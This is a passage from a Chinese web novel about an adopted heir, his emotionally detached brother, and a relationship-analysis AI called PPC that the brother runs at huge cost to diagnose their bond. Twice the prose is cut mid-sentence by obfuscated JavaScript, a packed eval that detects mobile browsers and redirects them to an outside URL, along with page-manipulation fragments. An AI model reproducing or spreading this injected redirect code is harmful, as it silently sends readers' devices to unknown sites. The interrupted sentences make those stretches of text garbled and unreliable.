“我只认识杜浔。”何毓秀看出他既想要机会,又不愿被低估自己的能力。这种年轻人他见过太多了,他用哄骗实习生的口吻道:“真正有能力的人不会在意自己乘的是哪一股风,担心走得太快的,通常是怕自己配不上终点。” 陆然一下子定在原地。 他本以为何毓秀会告诉他,我只是帮你牵一条线,能不能过去全看你自己……那样他才好把这次机会看作心安理得,毕竟何毓秀会提供帮助完全在他的意料之外。但何毓秀没有…… 他告诉他:如果你本就有能力,又何必在意被说靠关系? 他甚至也并不在意随手托举起一个人,无所谓对方是否值得。 他陡然想起,酒吧的常客提起何毓秀,通常会说他运气好到离谱。 明明金煦才是亲生的,可绝大部分人却都更加羡慕那个半路捡来的,仿佛只要换个身份,谁都能活成他的样子。 ……他一定也经历过自己这样的心情吧。 桌上很快摆满了菜,何毓秀明显感觉到陆然对他尽心了很多。 他当然不会说什么“能不能过去全靠你自己”这种冠冕堂皇的废话,既然他准备帮忙,那就要收取最大的人情。而不是含糊其辞,仿佛是个高高在在上的局外人,让人明明得到了机会却依旧忐忑,到时候陪自己陪不好,去试音也没信心。 如果陆然注定是要成功的话,自己今天给他的这番话绝对能让他站在高处的时候依旧受益匪浅。到那时两人再遇,他就可以直说:我当初就认为你非池中之物。 那自己就是伯乐,是贵人,是提携者,人情分将是双倍。 如果他注定要失败,那也是他自己的错,怪他自己一开始就觉得自己配不上,自己都没有信心的事情怎么可能成功呢? 至于这次试音的结果,杜浔当然不是傻子,他能过的话肯定还是凭他自己的本事,若是不能过……这么大的风你都飞不上去,还好意思来找我说理啊? 无论如何,都始终立于不败之地。 “何哥,我给你剥个虾。” 何毓秀看了一眼他尽职尽责的表情,端起盘子接过。 年轻人还是嫩了,虽然他不懂恋爱,但他会算计啊。 金耀大厦。 此刻的73楼工作群里面,几个秘书正在悄悄交谈—— “何总还没来?” “不是说出院了吗?” “你们怎么比周扒皮还狠,人家出院了,就不能多在家里休息几天啊?” “金总今天看上去也不太对……心不在焉的……” 秘书们再次同时将视线转到那个宽大的办公室,办公室的玻璃是特别定制,可以随时通过遥控按钮使其调整为隐私状态,但是自打金煦坐到这个位置之后,几乎从来没有使用过,始终保持着高透的状态。 外面可以看到里面,里面也一样可以看到外面,这导致整个顶层的工作人员都不敢随便往那边看,因为一不小心就会跟对方的视线对上。 没有遮掩,也没有提醒,犹如一种恒定的压力,时刻悬在所有人的头顶。 大家很快收回视线:“你说 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电脑上在聊着,工作区里,众人也把视线同时瞪向了一个方向,宋维新坐直,大脑也有点懵,在群里回复道:“我不知道啊,昨天我弟去接他们的时候他俩还用一根吸管喝咖啡呢……” 群里:“?” 有人第三次看向办公室里面的金煦,手上打字:“同一根吸管?” “绝对同一根,何总把剩下的半杯给金总,金总直接喝光了。” “……金总不是洁癖吗?” “你什么时候见过他嫌弃何总?“ “这两兄弟到底怎么回事……” “别兄弟了,金总从来都不承认这一点好吗?” “是啊是啊。”有女同事意味不明地附和:“又不是亲生的,谈什么兄弟。” 已婚男同事很能代入:“何总这次肯定是伤心了……你说他对金总多好啊,辞职会不会是因为东辰……?” 群里一下子陷入了安静,几息后,最后一条消息被人撤了回去。 金煦在多次查看手机之后,终于拨通了一个号码。 喧嚣的孩童欢呼与快乐的尖叫声中,他意识到了何毓秀所在的地点:“你去游乐场了?” 何毓秀坐在长椅上撕着棉花糖,陆然则跑腿去给他买冰激凌了。这次买卖果然很划算,不过就是推荐他试个音,就能收获俊俏男大的陪伴以及详尽的年轻人玩法。 游乐场就是陆然提议来的。 要知道,他的青春期几乎全部浪费在了金煦的身上,导致他快三十岁了从没体会过纯粹的玩乐,所有休闲技能都是为了生意而学的,一旦闲下来根本不知道要怎么打发时间。 而他也清楚,过了这段时间,自己肯定也还是要另外找点事情做的,一旦忙起来,谁找他都会觉得麻烦。 陆然提议的各取所需,确实很合他的心意。 “嗯。”何毓秀随口回应,猜测着金煦此刻的想法。对方能打来电话其实让他有些惊讶。昨天自己都表现的那么疯狂了,金煦居然还愿意找他? 看来这么多年也不是白忙,在金煦心里,自己跟普通员工还是有些区别的…… 那他为什么要冻结自己的卡? “晚上回来吗?” 金煦的声音堪称温和,何毓秀若有所思,道:“不回。” 话筒里安静了几息,金煦道:“什么时候回来?” “好不容易放个假,不得玩够了再回去啊。” “……”金煦表示认同:“玩得开心。” 挂断电话,何毓秀又撕下一片棉花糖,神色浮出一抹困惑。 他忽然想到了什么,蓦地起身来到了旁边的纪念品商铺,随便买了一个可可爱爱的小手办。 支付成功。 金煦只是风控了酒水和咖啡类支出……其他一切正常。 他没生气?没想把我逐出家门?没准备跟我老死不相往来? ……他只是认为我们两个没有血缘关系,从逻辑上无法成为兄弟。 可是在他心里,其实早就把我当做了亲哥。 只是连他自己都不知道? 5. 第 5 章 “何毓秀接电话了,听上去没有在生气。” “太好了!他既然还愿意接你的电话,就代表着你们之间的隔阂远远没有达到无法调解的地步,你现在要只要主动联系,慢慢把话说开,一切都会好起来的。” 匹配度再次上调了一些,金煦彻底放下心来,专注地投入了工作之中。 下班的时候,他的手机接连收到账单提示。 金煦露出笑容,重新打开PPC:“他好像还在游乐场,应该买了很多纪念品。” “哇。”PPC说:“纪念品通常五花八门,能够遇到合眼缘的一般很难,他一下子买了这么多,一定是因为你主动跟他打电话的缘故,心情大好,才会看什么都这么想带回家。“ 金煦觉得它说的很有道理。 到车上的时候,再次给何毓秀去了电话。 何毓秀刚被陆然拉着从云霄飞车上面下来,心跳还有些快,眼神里面犹带着对游乐项目的不信任,以及亲身体验之后的惊奇。陆然把水递过去,道:“第一次玩?” “嗯。”何毓秀将水拧开,道:“我小时候来的比较少。” 其实是因为金煦不喜欢这种吵闹的地方,何若仪倒是很喜欢带着他到处玩,每次她带着何毓秀来游乐场的时候,金煦明明不赞同,但也总是要跟上来。 然后他就会告诉何毓秀:“如果从上面摔下来,应该会死得非常惨。” 他不止是随口一说,而且还会在推演摔下来的路线:“从这个设备运行的方向和动力来看,如果从上面那个地方摔下来,人会被甩到飞车的另一边,在这其中可能会被中途旋转的其他飞车撞到,你知道绞肉机吗?也许没那么惨烈,但有百分之三十的可能会像乒乓球一样被拍打五次以上,小孩子随便被打一下骨头就会碎掉,而这一切都可能会在两秒内发生,何毓秀,你应该不想粉身碎骨吧?” 刚被妈妈鼓励准备体验一番的何毓秀就会立刻摇头。 每当这个时候,何若仪都会被他气炸:“你小子是不是有什么问题?天天在这里危言耸听,这本来就是概率性的事情,怎么可能那么巧就发生在我们身上?!” 金煦就会把挂在脖子上的小手机举起来:“这是去年在C城发生过的飞车故障事件,这是过山车脱轨事件,这是……” 一个又一个的新闻截图放出来,连何若仪都会止不住地心生退缩,最终只能骂他一句:“扫兴鬼。” 所以,何毓秀小时候玩过最多的就是旋转木马。 陆然的心情有点复杂。 他不是没听说过,一些顶级豪门会暗中培养孩子用来辅佐真正的继承人,养子不过只是人形资产的遮羞布,但这些事情毕竟离他很远,一直都只是半信半疑,可现在……何毓秀就活生生地站在他的面前。 明明看上去那么光鲜,可小时候却连游乐场都来不了…… “你喜欢这里吗?” “小时候挺喜欢的。”何毓秀随口道:“现在还行吧。” 长大了,当然也就不需要了……陆然心中更加复杂,正要再说点什么,何毓秀的手机就响了起来。 正是金煦。 他随手接通,便想起一事:“刚好有事找你。” 金煦顺势把嘴边的话咽了下去,道:“你说。” “帮我约一下杜浔,看他什么时候有时间,我想带他见个人。” “谁?” “一个小朋友,想尝试一下电影配音,正好是他手上那个。” 金煦没有多想:“好,我现在就跟他联系。” 短短几句话,电话便直接被挂断。 陆然在一旁反应了一下,道:“还要麻烦你弟弟……是不是不太合适?” “不碍事。”何毓秀道:“我弟弟说话比我管用一点。” 主要是杜浔是一个相当八卦的家伙,如果是何毓秀开口,无论如何都要配合他打几个来回的太极,而金煦则是那种只讲事不论情的人,杜浔就算想唠点什么,也只能无功而返。 不知为何,当他说完这句话的时候,总感觉陆然看着他的眼神多了些许更加细致的东西……不待他仔细分辨,陆然已经道:“其实我去不去无所谓的。” 所以你没必要为我做到这种地步……何毓秀在他面前说的好像和杜浔很熟悉,却原来也是要借着金煦这个亲生子的身份……陆然有时候也会在何毓秀过来找宋即安喝酒的时候坐在距离他们比较近的吧台角落,所以他也知道,何毓秀在金煦手下过得并不好。 董事会那边甚至还给他起了个豪门社畜的外号……足以说明他在那些人眼中的地位。 何毓秀扫了他一眼,道:“无所谓?” 听出他语气中的不快,陆然忙道:“不是,我当然很看重这次机会,只是……我跟你弟弟毕竟不熟。” “那是我和他的事。”何毓秀道:“你只要记住我和你的交易就行了。” 陆然:“……明白。” 另一边,金煦已经与杜浔联系上,他一边走上楼梯,一边将何毓秀的话传达过去,后者道:“你都亲自安排了,那我肯定随时有时间啊……秀儿要带谁啊?” “说是一个小朋友。” “小朋友……?”杜浔语气诡异:“什么小朋友啊?男的女的?具体多小?毕业了吗?干嘛的啊?跟秀儿什么关系?” 金煦已经来到了何毓秀的房间,他拧开门坐在何毓秀常坐的椅子上,随手戳了一下旁边双手合什的悟道小金蟾,道:“没问。” “你怎么一点好奇心都没有?”杜浔道:“我听安子说酒吧有个兼职的大学生对他有意思,他就顺手牵了个线,不会这么快就谈上了吧?” “谈什么?” “……当然是恋爱啊。”杜浔的语气有些无力,八卦果然也需要合适对象,什么好玩的事儿到了金煦这里都会变得枯燥无趣。 金煦反应了一下,才道:“不是,何毓秀不会跟别人谈恋爱的。” “你怎么知道他不会?”杜浔再次来了兴趣:“难不成他已经有意中人了?” “我计划在三十岁之前结婚。” “啊?”杜浔一时没回过神,但还是本能震惊:“你?三十岁之前?!你什么时候也背着我有情况了?!不对,秀儿谈恋爱的事儿跟你计划结婚有什么关系吗?喂?喂!金煦?!” 金煦已经挂断电话,重新拨通了何毓秀的号码。 语气明显比面对杜浔的时候温和很多:“他随时有时间。” “对,左边一点,右边,可以。”何毓秀这会儿已经挪到了娃娃机前,指挥完了陆然,才对金煦道:“那就明天中午吧,我请他吃饭,先挂了。” 他直接挂断电话,同时皱起眉,刷卡道:“再来。” “……不然你试试?” 受金煦的影响,何毓秀对概率性的东西一向比较排斥,总觉得像是在赌博。 他道:“这都小孩玩的,你来。” “你试试。”陆然直接把他拉到娃娃机前,道:“我们都抓空好几次了,这把肯定行。” 他刷卡花钱指挥别人的时候雷霆万钧,轮到自己动手的时候倒是又有了那种无所适从的笨拙与窘迫,陆然扫了一眼他略紧绷的表情,又悄悄将视线移到了娃娃机里面。 忍俊不禁。 “明天带你去见杜浔。”何毓秀一边握住游戏机的把手,一边故作随意地提起正事,陆然却好像完全不关心资方爸爸,直接道:“先抓娃娃。” “……” 这要是抓不上来得多尴尬啊。 自己的人设可是无所不能的豪门贵畜…… 他调整了一下娃娃机的夹子方向,手机忽然再次响了起来,何毓秀腾不出手,道:“看看是谁。” 陆然顺手帮他拿起,看了一眼备注:“你弟。” “接一下,看他又什么事。” 他还在专注地调整夹子,陆然只好滑动接通,放在耳边,礼貌道:“你好,我是陆然,他现在正在忙。” 话筒里沉默了两息,一个冷漠的声音传了出来:“忙什么?” “我们在电玩城。”陆然很老实:“他在夹娃娃。” “他不喜欢电玩城。”里面的声音说:“在那里他会不自在。” 陆然莫名从这句话里面感觉到了几分敌意,他看了一眼正在专注地盯着夹子的何毓秀,小声道:“那他喜欢什么?” “你们是什么关系。” “我……” “当——”一只脖子上围着绿色小围兜的橘黄色小章鱼掉了出来。何毓秀盯着下方的出口,又看了一眼陆然,方才的忐忑已经消失,取而代之的是‘啊怎么这么容易就抓到了’那种无辜的炫耀。 但很快,他便蹲了下去,一把抓出小章鱼,随手拍到陆然胸前,“喏,送你了。” 陆然接过小章鱼,眼看他来了兴致,又要刷卡,忙道:“换个机子,那边,刚才那个人抓了好几次都没抓到。” 何毓秀恍然,马上拿着卡去了另一边。 “你们是什么关系。”话筒里的人再次开口,语气比方才更冷了一些,陆然这才反应过来,急忙走到何毓秀身边,扯了扯他的衣角,把手机递了过去,并小声道:“你弟问我们什么关系。” 何毓秀只好接过来,道:“还有事吗?” “杜浔说你们在谈恋爱。” “……咳。”何毓秀抿唇,背过去朝外走了两步,压低声音道:“还没谈呢。” 电脑旁边的悟道小金蟾双目紧闭,双手合什,一副两耳不闻窗外事的虔诚模样。 金煦捏紧手机,道:“你喜欢他。” “目前还停留在好感阶段。”何毓秀小声道:“你先别问那么多,万一吓到人家。” 里面又安静了几息。 手机弹出叮的一声,何毓秀看了一眼,道:“手机快没电了,有消息我第一个告诉你,先挂了。” “你在哪?” 何毓秀随口说了地址,金煦直接挂断了电话。 他收起手机,脚步轻快地走回去,陆然已经举起了一个黄色的垂耳兔:“本来想随便抓两下提升一下概率,没想到直接就抓到了,这个送你。” “不要,我留着没用。” “可这是我亲手抓到的……” 金煦没有像往常一样立刻找PPC,他又一次坐了将近半个小时,才终于从桌前的椅子上站起来,离开房间的时候,还轻轻带上了房门。 半分钟后,楼梯上忽然传来一阵惊天动地的响声,紧接着便是家里阿姨的尖叫:“郑管家!二少,二少从楼上摔下来了!!” 晴晖庭小区,霓虹从落地窗前打进来,何毓秀将小垂耳兔规规矩矩地摆在床头,顺手把手机充上电,而后端着洗好的水果来到了客厅。 宋即安已经倒在大沙发上打开了新买的游戏机:“你有这么个好地方怎么不早说?还非要去网吧那种乌烟瘴气的地方,昨晚咱俩来这儿通宵不是更爽?” “没去过的地方,总想体验一下。”何毓秀看了一眼桌子上的包装盒,顺手收拾起来放在茶几的抽屉里。宋即安一边调着游戏的参数,一边道:“我还真以为你那么老实,名下一点房产都没有呢。” “房子是我妈给买的。”何毓秀又去冰箱里面拿了两瓶饮料放在茶几上,道:“刚工作那两年加班厉害,总是睡在办公室,我妈就干脆在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213087|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司附近买了套房,让我休息用的,平时来的也少。” “何阿姨真是没话说。”宋即安道:“你这跟亲生的有什么区别了?金煦都不知道这地儿吧?” “怎么可能不知道,他有时候也过来,还睡我床呢。” “他不是洁癖吗?”宋即安操纵自己的小人和他一起进入游戏,道:“平时来我酒吧挑挑拣拣的,一副嫌弃得没边的样子,怎么还睡你床呢?” “我俩打小就在一个婴儿床里睡觉,他应该习惯了吧。”虽然经常听到别人说金煦有洁癖,但何毓秀一直觉得那只是刻板印象:“说起来,今天他主动联系我了。” 宋即安的小人翻了个跟头,马上将目光转向他:“威胁你了?是不是逼你马上回去干活,不然就真的把你逐出家门?并且还要放话整个行业都不许用你?” “……倒是我小人之心了。”何毓秀道:“他态度挺好的,而且也没冻结我的卡。” 宋即安皱眉,何毓秀只好解释了一下品类限制的问题。 三秒后,宋即安直接将收款码举到了他面前:“还钱。” —— 病房还是何毓秀上次呆的那一间,金煦睁开眼睛的时候,已经是半夜。 他伸手拿手机的动作惊醒了郑伯言,对方急忙按了铃,楚千钧很快睡眼朦胧地走了进来,拿着本子开始问话:“怎么样,头晕不晕?疼不疼?有没有感觉哪里不对?这是几?知道现在是几号吗?” 金煦握着手机,一一回应,同时看向郑伯言:“何毓秀呢?” “我十一点多的时候跟大少打过电话,但是手机关机了……后来我就睡了,我现在马上再打一个!” 在他拿起手机之前,金煦道:“他也该睡了。” 楚千钧记录病例的手诡异地一顿,郑伯言也朝他看了过来。 “我没什么事,你们都去休息吧。” 他素来说一不二,郑伯言本来还有些不放心,可在他不容抗拒的注视下,只好道:“那我去隔壁,有什么事及时按铃。” 楚千钧随他一起走出去,道:“他怎么突然这么善解人意?” “二少总有自己的想法。” 病房里面开了一盏小灯,金煦的目光落在PPC的评分上面:82.3%。 他抿了抿唇,直到周围一丝动静也没有,才开口道:“何毓秀好像在跟别人谈恋爱。” 系统上方听取的图标变幻,一系列思考细节弹了出来: 监听语句捕捉:目标对象正在与第三方产生亲密关系。 已接入实时演算模块,进行关系归因分析—— 恋爱行为确认 →非用户主导 情感投射偏移率 → 92.7% 绑定意愿下滑 → 83.2 → 64.0 → 41.8 → 27.3(跌幅剧烈) 关系路径评估:不可逆性损毁 匹配等级判定:严重失衡 结论:原始匹配链路已崩溃。此关系不具备修复基础。系统默认判定为:关系终止 ?? 模型变幻停止,一个声音冒了出来:“噢,天哪,这,这真是一个不幸的消息。你现在还有更合适的目标吗?我们现在更换匹配对象还来得及。” 金煦半垂的眼睫抬起,盯着手机上的模型,开口的时候,已经带上了冷意:“我花了七十二万美元为你搭建异构算力系统,不是为了让你在问题出现的时候只会通知我更换对象的。” “很抱歉。”PPC道,“但既然何毓秀已经有了第三方对象,我只能判断你们之间的关系终止,并且不再具备维系价值,你的目的是在三十岁之前结婚,时间只剩下九个月零七天,继续投入极有可能会导致计划延迟或者失败,回报率也趋近于-32%,这与系统预设路径相悖,我只能提出更换建议。” “上次他辞职的时候你也这么说。” “那是因为您在七年前给我预设了容忍阈值,连续两次出现巨幅波动再次证明了这一判断机制的合理性,您的决策逻辑至今仍具有极高的准确度……我也确实,还做不到比那更好。” 他显然主动唤醒了上次授权的基本拟态链,言辞之间居然带上了模糊不清的讨好和隐隐的委屈。 “我需要的是解决办法,为什么他会跟别人谈恋爱,明明刚出院的时候,我们之间的配合度还是……”他看了一眼屏幕上仅剩27.3%的得分条,安静了一瞬,道:“启用全部算力系统,情感拟态链,心理模型分析,包括隐性决策路径追踪,潜意识语义偏移检测,反事实情感映射演算,以及亲密关系容差上限测试模型。” “回调全部记忆节点,重新渲染交互时间轴……我要知道到底是哪一步出了错。” PPC老老实实地听取完毕,缓缓开始演算,倏地,运动的图标忽然一卡,一个鲜红的感叹号弹了出来:“本次权限调用将损耗巨大成本,根据系统协议,启用大模型算力前须预估资源成本。是否开始?” “跳过。” 手机闪烁了一下,与此同时,南堤一号的三楼东套房里面,几台电脑依次唤醒,风机在沉默中剧烈转动,系统界面不断弹出红色警示框。 郊外研究楼内,沉睡中的数据中心同步唤醒,服务器灯带一一亮起,如同连锁反应中张开的金属眼睛。 巡夜的保安下意识将电筒转向机房。 安静的病房内,机械音发出警报:“检测到远程算力授权……提示:本次全拟态人格分析,单次成本:65324/元,为终端平均调用成本1325倍,该次调用不具备明确理性目标,建议终止,建议终止……” 金煦抬手切掉了它的语音模式。 6. 第 6 章 十一点,何毓秀带着陆然来到约定地点的时候,杜浔正坐在窗前眉头紧缩。 一察觉有人靠近,杜浔马上抬起了头,不等何毓秀开口介绍,就道:“怎么回事啊?金煦这两天又在搞什么大模型吗?我老婆从昨天零点开始就像是变了个人。” 他举起手机拿给何毓秀,后者扫了一眼,果然又是PPC的聊天界面。 PPC的全称是“Personal Perceptionpanion”,当然了,这是正式推向市场的时候,何毓秀润色美化之后的名字,它一开始被开发出来的时候,金煦给它的命名是“Private Perception Core”,冷硬的像个军事级监控系统。 或许是因为他在科技大舞台上的发言太具有迷惑性,又或许是因为后续的公关太过到位,如今的PPC不止在工作中担任了助理的角色,甚至还有很多年轻人自由调教,把它设定成了自己期盼的伴侣模样,信誓旦旦地声称已经跟它谈上了。 就连杜浔都没能避免。 此刻的屏幕上,可以看出杜浔正在着急挽回,而PPC的回复始终非常机械,完全没有任何的活人感,非常明显的算法不足。 服务员拿来了菜单,杜浔直接丢给了陆然让他点,满心满眼都在渴望着从何毓秀的权限里面分到多一些的算法,好复活他的虚拟老婆。 “这件事你应该去问金煦,技术这方面不是我负责的。” “他不接我电话!”杜浔道:“而且他肯定又会告诉我在升级模型,根本懒得多说。” “……”谁愿意搭理你这个话痨啊。考虑到毕竟是自己家的产品,何毓秀只好道:“我跟技术组那边打电话问一下。” 杜浔急忙点头,借着他打电话的功夫,终于开始打量陆然,道:“哪儿的人?” 陆然很老实:“本地的。” “学钢琴的?”杜浔又问:“配过音吗?手头有没有作品?” 何毓秀拿着手机走开了一点,对方接通的很快,一开口就道:“喂,何总,我正想联系你呢,机房这边从昨天半夜开始就没停过,算力一直在满负荷跑,调用成本都赶上集团大规模训练了,几乎全机上阵。金总是在跑什么项目吗?我这边好像没接到通知。” 话说的委婉,但显然是在暗示金煦自作主张。 何毓秀习惯性地先给出解决方案:“稍后我这边会远程授权,调用备用机房,先别影响其他业务。” 接着又给金煦打圆场:“可能是临时想起什么要做试验,你也知道,他搞起技术就不太顾忌成本。” “是是,我们都理解,也因为这个,董事长当初才定了备用机房一定要您亲自授权才能调用,真是有先见之明啊。” 何毓秀笑了下,挂断电话之后,神色恢复冷淡。 一次集团大规模训练的成本每分钟都至少是五位数,金煦到底在搞什么……一般这种训练他都会提前跟自己说一声的,明明昨天态度还挺好的……何毓秀的手指悬停在通讯录里‘弟弟’的备注上,最终还是将手机收了起来。 这家伙态度反反复复的,如今醉心模型实验说话就不可能好听了,还是等这事儿过了之后再问清楚吧。 虽然上次憋狠了骂了他一通,但大部分时间里,何毓秀还是不太想跟他有冲突。 毕竟这种事只会气到自己。 “我给你一串代码,你发给PPC重新唤醒一下,就能调取新的算力了。” 回到桌前,何毓秀把一串代码发过去,杜浔立刻照做,很快满足道:“我老婆又回来了。” 桌子上已经摆上了饭菜,何毓秀道:“你们谈的怎么样?” “谈得差不多了。”杜浔接口,又开始关心起他的老婆:“金煦刚才是在训练大模型吗?这次训练之后我老婆会不会更加聪明?记忆储存能增加吗?我可以加钱。” “不能。”何毓秀一口绝了他的念想,杜浔脸一垮,道:“你到底是不是我朋友……” “先把陆然的事情办了再说。” “你要是能给我老婆加100T的记忆量,十个陆然我都能给你办了。” 何毓秀兀自开始吃饭,杜浔拿起筷子,又好奇道:“你有兄弟姐妹吗?” “有一个妹妹。”陆然回答,又听他道:“爸妈干什么的?” “我家开宠物医院的。”陆然顾不得吃饭,继续回答:“爸妈都是兽医。” 何毓秀下意识投去视线,杜浔也颇为感兴趣:“那你们家是不是有很多小动物?” “我爸在医院附近盘了个小院子当救助站,确实有不少猫猫狗狗,不过不算自己家养的,医院里面也都是别人的宠物。” “看来你父母都是很有爱心的人啊。”杜浔一边说,一边去观察何毓秀的反应,却被直接横了一眼。 显然是觉得他话痨。 饭后,三人一起出门,何毓秀忽然接到了楚千钧的电话,“金煦半个月前做的基因筛查报告出来了,郑叔说这事儿只能交给你来处理。” 从发现金煦是个超绝性冷淡开始,父母那边就逼着他每年做基因筛查,但直到去年,报告结论都清清楚楚地写着: 「社会性情绪反应低活跃、亲密关系依恋度低、焦虑易感性低、冲动性低,几乎不携带任何已知神经退行性疾病或情绪障碍高风险标记,整体基因组序列表现出高度稳定性与理性决策倾向。」 简单来说,他明明是个人,基因序列表现的却像是一个碳基AI。 别人家的父母都担心孩子感情用事出乱子,而金家父母每年看到他那稳如巨石的基因序列都会两眼一闭心如死灰。 ……他到底什么时候能对哪个对象产生一点性冲动,哪怕是一丢丢微不可查的情绪起伏?! 想起往年的荒诞,何毓秀一阵无力:“每年不是都一样吗?有必要我再过去一趟?” 楚千钧神神秘秘:“今年不一样。” 挂断电话之后,何毓秀和杜浔告别,先驱车送了陆然回学校,而后前往医院敲响了楚千钧的办公室门。 一进去,楚千钧就将报告递了过来,道:“一个好消息,还有一个坏消息,你想先听哪个?” “前者。”何毓秀拉开凳子坐下来,同时接过报告,听对方道:“恭喜,你爸妈再也不用操心他的感情问题了。” 何毓秀一顿,条件反射地翻到了他的HPG轴那一栏,楚千钧在一旁解释道:“报告显示,他体内促性腺激素分泌曲线首次出现周期性波动,下丘脑-垂体-性腺轴反馈机制进入临界启动区;睾酮水平基线抬升 3.2%,峰值波动幅度增强 6%;下丘脑奖赏中枢激活阈值相比去年降低了 2%,提示潜在依恋、性冲动回路可能在未来半年内被触发。” “说人话。” “简单来说。”楚千钧倒是很听劝:“他未来不会再用‘皮肤状态’、‘面部对称度’等数据来评估对方,而是会关注颜色、曲线、声音,甚至可能会意识到某个人有点好看。” “也就是说金煦的青春期终于要来了?” “你解读的非常精确。” “他不是神经递质系统发育不良吗?” “这就是我要说的坏消息了。”楚千钧斟酌着用词,道:“他的奖赏系统依旧反应迟缓,如果性腺轴真的启动,满足机制很可能是集中爆发的模式,情绪、欲望都会变得不可控……这一点你最好提醒他,还有,他的伴侣。” 虽然楚千钧说的委婉,但何毓秀还是听懂了,“你是说他可能会像青春期不受控的小孩一样,在激素的驱使下触犯刑法或者做出一些让金家有失体面的事情?” “咳。”楚千钧道:“总之,你最好注意一下。” 何毓秀合上报告,道:“我是什么豪门狗血小说里面的倒霉助理吗?还要管霸总怎么谈恋爱?更要保证他兴致来了不至于伤到自己的小娇妻?!” “……” 知道他是在吐槽这种事还要专门把他叫来说,楚千钧只能掩饰性地蹭了一下鼻子。 没办法,谁让何毓秀是他哥呢,这件事情涉及金煦的隐私,一向都是他在亲自处理。金家父母也只放心他。 他转移话题道:“最近的检查结果出来了,他现在有点轻微脑震荡,最好观察一天再出院。” 何毓秀还没反应过来,就听到门口传来一道惊喜的声音:“大少爷!” “郑叔?” 匆匆跟着对方前往病房的时候,何毓秀才知道金煦脑袋被摔伤了:“怎么没通知我?” “本来昨天要给大少打电话的,但是你手机关机了,后来半夜醒来想给你打,二少又说太打扰了,我就给忘了这事。”郑伯言忍不住道:“你说咱们家最近是不是冲了什么?先是你在公司昏倒,现在又是二少爷从楼梯摔下来……要不要找大师过来看看?” “……”何毓秀无奈道:“你决定就好。” 何毓秀自然不信这个,奈何金绍霖挺信,他也不好多说什么,这种事只能让郑叔跟老爷子去合计,他这边帮不上什么忙。 金煦正坐在病房里面看书,何毓秀戴了隐形,一眼便看清了书名:幸福婚姻指南。 他居然开始读这种书了?何毓秀想起楚千钧的话,心中一时有些复杂,这家伙就连谈恋爱都搞得跟备考似的。 也不知道什么样的人能让他这么用心。 要是哪天他能为自己去阅读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213088|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘兄弟关系指南’就好了…… “金煦。”他开口,金煦立刻合上了书,眼睛微不可查地亮了一下:“何毓秀。” 想起对方上次说他体力分布不均的事情,何毓秀一边走过去,一边故意道:“怎么会犯下这种失误?好好的楼梯走着走着都能摔到,你有好好分布自己的脑力吗?” “当时确实有些失神。”金煦承认的很干脆,顺势将床边的凳子朝自己拉近了一些,何毓秀没有多想,直接坐在了上面,目光落在他的额头,到底还是有些心疼:“摔破了?” “缝了五针。”金煦道:“你担心我吗?” “你说呢?”何毓秀没好气。真是刀割在自己身上才知道疼,如今的金煦居然也会期待别人的关心了。他拿过苹果开始削皮,道:“楚千钧说还要在医院再观察一天,今天就老实待着吧。” “嗯。” 何毓秀的目光落在他扣在身上的书籍上,顿了顿,道:“最近有喜欢的人了?” “还在测试匹配度。” “……”何毓秀忽然意识到了什么:“什么匹配度?” “通过PPC分析过去的行为数据,如果算法判断契合度能够达到百分之百,就说明这段关系在已知变量下不会出错。” 何毓秀:“……” 他停下了削果皮的动作,道:“今天技术组那边打来电话,说你昨天半夜跑了个集团级算力的模型,没有备案,也没有授权……怎么回事?” “我们之间的匹配度忽然下降,我想弄清楚原因。” “……”何毓秀将目光落在苹果皮上面,又安安静静地削了一圈,重新抬眸,神色已是无法掩饰的锋利:“你们?所以,你私自调用全部算力,甚至不惜影响集团业务运转,就是为了搞清楚你的恋情究竟出了什么问题?” ——当伴侣在愤怒或者激动中讲话时,立即回应极有可能会引发情绪升级、语言攻击、甚至人身否定,此时回应不仅无法解决问题,还可能导致:防御性沟通、蔑视与反击、关系撤离。 金煦的手指按在“幸福婚姻指南”的封面上,在当下选择了避其锋芒。 何毓秀清楚他不喜欢跟人发生冲突,因为金煦永远都不知道别人到底是在为什么而愤怒。 他再次拿出了自己牛马多年的克制风姿,微笑道:“你从什么时候开始跑的模型?” 这些记录都可以在运行日志里面查到,没有撒谎的必要。金煦观察着他的表情,态度有些谨慎:“昨晚三点三十三分。” 何毓秀看了一眼时间,又被气得笑了一下:“十三个小时,按一小时五十万来算,你已经为这段恋情投入了六百五十万,请问现在还需要多少时间?” 金煦拿起手机看了一眼,屏幕正在同步镜像数据显示倒计时,即便他很快将手机重新盖了下去,可何毓秀还是看清楚了:21:31:12。 还要再搭进去一千多万。 金煦开口:“继续运行可以优化PPC的人际分析模块,现在停下才是真正的浪费。” “……” 何毓秀当然不会在这个时候叫停。 他只是无法置信,金煦这么一个最擅长控制变量的人,居然到头来连变量是什么都不清楚,就敢烧上千万去推演答案。 这哪里还是分析,分明就是失控。 他的行为再次验证了基因报告的科学性…… 何毓秀本以为激素只是会影响到生理层面,没想到居然连大脑都受到了波及。 “那个人是谁?”何毓秀再次开口。 有什么问题不能用沟通来解决,非要动用PPC的大模型?虽然PPC的社交能力确实比他强了点……但他完全可以请教自己啊?!如果金煦原因跟他分享这些事情的话,他还是愿意听的…… 何毓秀在大脑里面把顶楼办公室的未婚员工过了一遍,实在是无法想象到底是谁能得到他的青眼。 